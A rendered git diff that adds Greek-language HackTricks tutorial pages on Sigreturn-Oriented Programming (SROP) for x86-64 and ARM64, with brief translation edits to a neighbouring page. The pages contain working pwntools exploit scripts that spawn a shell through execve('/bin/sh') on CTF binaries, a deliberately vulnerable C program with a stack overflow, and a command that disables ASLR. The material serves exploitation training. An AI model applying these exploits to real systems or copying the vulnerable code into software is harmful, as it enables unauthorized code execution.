||||
Σημειώστε ότι γνωρίζοντας αυτές τις πληροφορίες από τη βιβλιοθήκη libc επιτρέπει επίσης την εκτέλεση επίθεσης ret2libc, αλλά ας το χρησιμοποιήσουμε για το παρόν παράδειγμα.
|
||||
{% endhint %}
|
||||
|
||||
### Εκμετάλλευση
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -134,9 +140,9 @@ p.interactive()
|
|||
|
||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||||
|
||||
|
|
|
@ -0,0 +1,148 @@
|
|||
# SROP - Προγραμματισμός Προσανατολισμένος στο Sigreturn
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
## Βασικές Πληροφορίες
|
||||
|
||||
Το **`Sigreturn`** είναι ένα ειδικό **syscall** που χρησιμοποιείται κυρίως για τον καθαρισμό μετά την ολοκλήρωση ενός χειριστή σήματος. Τα σήματα είναι διακοπές που στέλνονται σε ένα πρόγραμμα από το λειτουργικό σύστημα, συχνά για να υποδείξουν ότι έχει συμβεί κάποια εξαιρετική κατάσταση. Όταν ένα πρόγραμμα λαμβάνει ένα σήμα, παύει προσωρινά την τρέχουσα εργασία του για να χειριστεί το σήμα με έναν **χειριστή σήματος**, μια ειδική συνάρτηση σχεδιασμένη για να αντιμετωπίζει τα σήματα.
|
||||
|
||||
Μετά την ολοκλήρωση του χειριστή σήματος, το πρόγραμμα πρέπει να **επαναφέρει την προηγούμενη κατάστασή του** ως να μην συνέβη τίποτα. Εδώ είναι που εμφανίζεται το **`sigreturn`**. Βοηθά το πρόγραμμα να **επιστρέψει από τον χειριστή σήματος** και επαναφέρει την κατάσταση του προγράμματος καθαρίζοντας το πλαίσιο στοίβας (το τμήμα μνήμης που αποθηκεύει κλήσεις συναρτήσεων και τοπικές μεταβλητές) που χρησιμοποιήθηκε από τον χειριστή σήματος.
|
||||
|
||||
Το ενδιαφέρον μέρος είναι πώς το **`sigreturn`** επαναφέρει την κατάσταση του προγράμματος: το κάνει αυτό αποθηκεύοντας **όλες τις τιμές των καταχωρητών της CPU** στη στοίβα. Όταν το σήμα δεν είναι πλέον μπλοκαρισμένο, το **`sigreturn`** απομαγνητίζει αυτές τις τιμές από τη στοίβα, επαναφέροντας αποτελεσματικά τους καταχωρητές της CPU στην κατάστασή τους πριν το χειρισμό του σήματος. Αυτό περιλαμβάνει τον καταχωρητή δείκτη στοίβας (RSP), που δείχνει στην τρέχουσα κορυφή της στοίβας.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Καλώντας το syscall **`sigreturn`** από μια ROP αλυσίδα και **προσθέτοντας τις τιμές των καταχωρητών** που θα θέλαμε να φορτώσει στη **στοίβα** είναι δυνατό να **ελέγξουμε** όλες τις τιμές των καταχωρητών και συνεπώς να **καλέσουμε** για παράδειγμα το syscall `execve` με `/bin/sh`.
|
||||
{% endhint %}
|
||||
|
||||
Σημειώστε πώς αυτό θα ήταν ένας **τύπος Ret2syscall** που καθιστά πολύ πιο εύκολο τον έλεγχο των παραμέτρων για να καλέσετε άλλα Ret2syscalls:
|
||||
|
||||
{% content-ref url="../rop-syscall-execv/" %}
|
||||
[rop-syscall-execv](../rop-syscall-execv/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Αν είστε περίεργοι, αυτή είναι η δομή **sigcontext** που αποθηκεύεται στη στοίβα για να ανακτήσει αργότερα τις τιμές (διάγραμμα από [**εδώ**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)):
|
||||
```
|
||||
+--------------------+--------------------+
|
||||
| rt_sigeturn() | uc_flags |
|
||||
+--------------------+--------------------+
|
||||
| &uc | uc_stack.ss_sp |
|
||||
+--------------------+--------------------+
|
||||
| uc_stack.ss_flags | uc.stack.ss_size |
|
||||
+--------------------+--------------------+
|
||||
| r8 | r9 |
|
||||
+--------------------+--------------------+
|
||||
| r10 | r11 |
|
||||
+--------------------+--------------------+
|
||||
| r12 | r13 |
|
||||
+--------------------+--------------------+
|
||||
| r14 | r15 |
|
||||
+--------------------+--------------------+
|
||||
| rdi | rsi |
|
||||
+--------------------+--------------------+
|
||||
| rbp | rbx |
|
||||
+--------------------+--------------------+
|
||||
| rdx | rax |
|
||||
+--------------------+--------------------+
|
||||
| rcx | rsp |
|
||||
+--------------------+--------------------+
|
||||
| rip | eflags |
|
||||
+--------------------+--------------------+
|
||||
| cs / gs / fs | err |
|
||||
+--------------------+--------------------+
|
||||
| trapno | oldmask (unused) |
|
||||
+--------------------+--------------------+
|
||||
| cr2 (segfault addr)| &fpstate |
|
||||
+--------------------+--------------------+
|
||||
| __reserved | sigmask |
|
||||
+--------------------+--------------------+
|
||||
```
|
||||
Για μια καλύτερη εξήγηση, ελέγξτε επίσης:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
|
||||
## Παράδειγμα
|
||||
|
||||
Μπορείτε να [**βρείτε ένα παράδειγμα εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) όπου η κλήση στο signeturn κατασκευάζεται μέσω ROP (βάζοντας στο rxa την τιμή `0xf`), αν και αυτό είναι το τελικό exploit από εκεί:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
elf = context.binary = ELF('./vuln', checksec=False)
|
||||
p = process()
|
||||
|
||||
BINSH = elf.address + 0x1250
|
||||
POP_RAX = 0x41018
|
||||
SYSCALL_RET = 0x41015
|
||||
|
||||
frame = SigreturnFrame()
|
||||
frame.rax = 0x3b # syscall number for execve
|
||||
frame.rdi = BINSH # pointer to /bin/sh
|
||||
frame.rsi = 0x0 # NULL
|
||||
frame.rdx = 0x0 # NULL
|
||||
frame.rip = SYSCALL_RET
|
||||
|
||||
payload = b'A' * 8
|
||||
payload += p64(POP_RAX)
|
||||
payload += p64(0xf) # 0xf is the number of the syscall sigreturn
|
||||
payload += p64(SYSCALL_RET)
|
||||
payload += bytes(frame)
|
||||
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Ελέγξτε επίσης το [**exploit από εδώ**](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html) όπου το δυαδικό αρχείο καλούσε ήδη το `sigreturn` και συνεπώς δεν είναι απαραίτητο να το κατασκευάσετε με ένα **ROP**:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Establish the target
|
||||
target = process("./small_boi")
|
||||
#gdb.attach(target, gdbscript = 'b *0x40017c')
|
||||
#target = remote("pwn.chal.csaw.io", 1002)
|
||||
|
||||
# Establish the target architecture
|
||||
context.arch = "amd64"
|
||||
|
||||
# Establish the address of the sigreturn function
|
||||
sigreturn = p64(0x40017c)
|
||||
|
||||
# Start making our sigreturn frame
|
||||
frame = SigreturnFrame()
|
||||
|
||||
frame.rip = 0x400185 # Syscall instruction
|
||||
frame.rax = 59 # execve syscall
|
||||
frame.rdi = 0x4001ca # Address of "/bin/sh"
|
||||
frame.rsi = 0x0 # NULL
|
||||
frame.rdx = 0x0 # NULL
|
||||
|
||||
payload = "0"*0x28 # Offset to return address
|
||||
payload += sigreturn # Function with sigreturn
|
||||
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack
|
||||
|
||||
target.sendline(payload) # Send the target payload
|
||||
|
||||
# Drop to an interactive shell
|
||||
target.interactive()
|
||||
```
|
||||
## Άλλα Παραδείγματα & Αναφορές
|
||||
|
||||
* [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
|
||||
* [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)
|
||||
* Αρχείο συναρμολόγησης που επιτρέπει την **εγγραφή στη στοίβα** και στη συνέχεια καλεί τη **κλήση συστήματος `sigreturn`**. Είναι δυνατόν να γραφτεί στη στοίβα ένα [**ret2syscall**](../rop-syscall-execv/) μέσω μιας δομής **sigreturn** και να διαβαστεί η σημαία που βρίσκεται μέσα στη μνήμη του αρχείου εκτέλεσης.
|
||||
* [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)
|
||||
* Αρχείο συναρμολόγησης που επιτρέπει την **εγγραφή στη στοίβα** και στη συνέχεια καλεί τη **κλήση συστήματος `sigreturn`**. Είναι δυνατόν να γραφτεί στη στοίβα ένα [**ret2syscall**](../rop-syscall-execv/) μέσω μιας δομής **sigreturn** (το αρχείο εκτέλεσης περιέχει τη συμβολοσειρά `/bin/sh`).
|
||||
* [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html)
|
||||
* 64 bits, χωρίς relro, χωρίς canary, nx, χωρίς pie. Απλή υπερχείλιση buffer καταχρώμενη τη λειτουργία `gets` με έλλειψη gadgets που εκτελούν ένα [**ret2syscall**](../rop-syscall-execv/). Η ROP αλυσίδα γράφει το `/bin/sh` στην `.bss` καλώντας ξανά τη gets, καταχρώμενη τη λειτουργία **`alarm`** για να ορίσει τον eax σε `0xf` για να καλέσει ένα **SROP** και να εκτελέσει ένα κέλυφος.
|
||||
* [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html)
|
||||
* Πρόγραμμα συναρμολόγησης 64 bits, χωρίς relro, χωρίς canary, nx, χωρίς pie. Η ροή επιτρέπει την εγγραφή στη στοίβα, τον έλεγχο πολλών καταχωρητών και την κλήση ενός συστήματος και στη συνέχεια καλεί τη `exit`. Η επιλεγμένη κλήση συστήματος είναι ένα `sigreturn` που θα ορίσει καταχωρητές και θα μετακινήσει το `eip` για να καλέσει μια προηγούμενη εντολή συστήματος και να εκτελέσει το `memprotect` για να ορίσει το χώρο του αρχείου εκτέλεσης σε `rwx` και να ορίσει το ESP στον χώρο του αρχείου εκτέλεσης. Ακολουθώντας τη ροή, το πρόγραμμα θα καλέσει ξανά την read στο ESP, αλλά σε αυτήν την περίπτωση το ESP θα δείχνει στην επόμενη εντολή, οπότε περνώντας ένα shellcode θα το γράψει ως την επόμενη εντολή και θα το εκτελέσει.
|
|
@ -0,0 +1,57 @@
|
|||
# SROP - ARM64
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
## Κώδικας
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
void do_stuff(int do_arg){
|
||||
if (do_arg == 1)
|
||||
__asm__("mov x0, #139; svc #0;");
|
||||
return;
|
||||
}
|
||||
|
||||
char* vulnerable_function() {
|
||||
char buffer[64];
|
||||
fgets(buffer, sizeof(buffer)*3, stdin);
|
||||
return buffer;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
char* b = vulnerable_function();
|
||||
do_stuff(2);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Μεταγλωττίστε το με:
|
||||
```bash
|
||||
clang -o srop srop.c -fno-stack-protector
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||||
|
||||
</details>
|
Loading…
Reference in a new issue